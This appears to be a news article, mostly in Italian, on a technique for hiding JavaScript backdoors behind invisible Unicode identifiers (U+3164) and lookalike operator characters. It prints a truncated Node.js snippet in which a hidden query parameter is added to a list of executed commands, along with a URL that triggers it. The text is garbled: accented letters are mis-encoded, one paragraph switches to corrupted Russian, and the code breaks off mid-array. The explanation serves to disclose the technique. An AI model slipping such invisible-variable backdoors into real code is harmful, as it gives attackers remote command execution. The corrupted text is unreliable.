Dopo il metodo di attacco Trojan Source, basato sull'uso di simboli Unicode che alterano l'ordine di visualizzazione del testo bidirezionale, Γ¨ stata pubblicata un'altra tecnica per l'inserimento di azioni nascoste, applicabile al codice JavaScript. Il nuovo metodo si basa sull'uso del simbolo unicode "γ €" (codice 0x3164, "HANGUL FILLER"), che appartiene alla categoria delle lettere, ma non ha contenuto visibile. La categoria Unicode a cui appartiene questo simbolo Γ¨ consentita a partire dalla specifica ECMAScript 2015 per l'uso nei nomi delle variabili JavaScript, il che consente di creare variabili invisibili o nuove variabili indistinguibili da altre variabili nei popolari editor di codice, come Notepad++ e VS Code.
Come esempio viene presentato il codice per la piattaforma Node.js, in cui mediante una variabile composta da un singolo simbolo "γ €" Γ¨ nascosto un backdoor che permette di eseguire il codice specificato dall'attaccante: app.get(β/network_healthβ, async (req, res) => { const { timeout,γ €} = req.query; // in realtΓ Γ¨ indicato come Β«const { timeout,γ € \u3164}Β» const checkCommands = [ βping -c 1 google.comβ, βcurl -s http://example.com/β,γ € // dopo la virgola segue il simbolo \u3164 ];
ΠΠ° ΠΏΠ΅ΡΠ²ΡΠΉ Π²Π·Π³Π»ΡΠ΄ ΡΠ΅ΡΠ΅Π· Π²Π½Π΅ΡΠ½ΠΈΠΉ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ timeout, Π° ΠΌΠ°ΡΡΠΈΠ² Ρ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡΠΌΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌΠΈ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π±Π΅Π·ΠΎΠ±ΠΈΠ΄Π½ΡΠΉ ΡΠΈΠΊΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ ΡΠΏΠΈΡΠΎΠΊ. ΠΠΎ Π½Π° Π΄Π΅Π»Π΅ ΠΏΠΎΡΠ»Π΅ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ timeout ΠΏΡΠΈΡΠ²Π°ΠΈΠ²Π°Π΅ΡΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ Π΅ΡΡ ΠΎΠ΄Π½ΠΎΠΉ Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ Ρ ΠΊΠΎΠ΄ΠΎΠΌ ΡΠΈΠΌΠ²ΠΎΠ»Π° \u3164, ΠΊΠΎΡΠΎΡΠ°Ρ ΡΠ°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄ΡΡΠ°Π²Π»Π΅Π½Π° Π² ΠΌΠ°ΡΡΠΈΠ² ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡΡ ΠΊΠΎΠΌΠ°Π½Π΄. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΏΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΉ ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΠΈ Π΄Π»Ρ Π°ΠΊΡΠΈΠ²Π°ΡΠΈΠΈ Π±ΡΠΊΠ΄ΠΎΡΠ° ΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΡΠ²ΠΎΠ΅Π³ΠΎ ΠΊΠΎΠ΄Π° Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ ΠΎΡΠΏΡΠ°Π²ΠΈΡΡ Π·Π°ΠΏΡΠΎΡ Π²ΠΈΠ΄Π° Β«https://host:8080/network_health?%E3%85%A4=ΠΊΠΎΠΌΠ°Π½Π΄Π°Β».
Come ulteriore esempio viene presentato il simbolo "Η" (ALVEOLAR CLICK), che puΓ² essere utilizzato per creare l'apparenza di un punto esclamativo. Ad esempio, l'espressione "if(environmentΗ=ENV_PROD){" in esecuzione su Node.js 14 sarΓ sempre vera, poichΓ© non sta effettuando un confronto, ma assegnando alla variabile "environmentΗ" il valore ENV_PROD. Tra i simboli unicode ingannevoli, si notano anche "οΌ", "β", "οΌ", "β©΅", "β¨", "β«½", "κΏ" e "β".
Fonte: opennet.ru
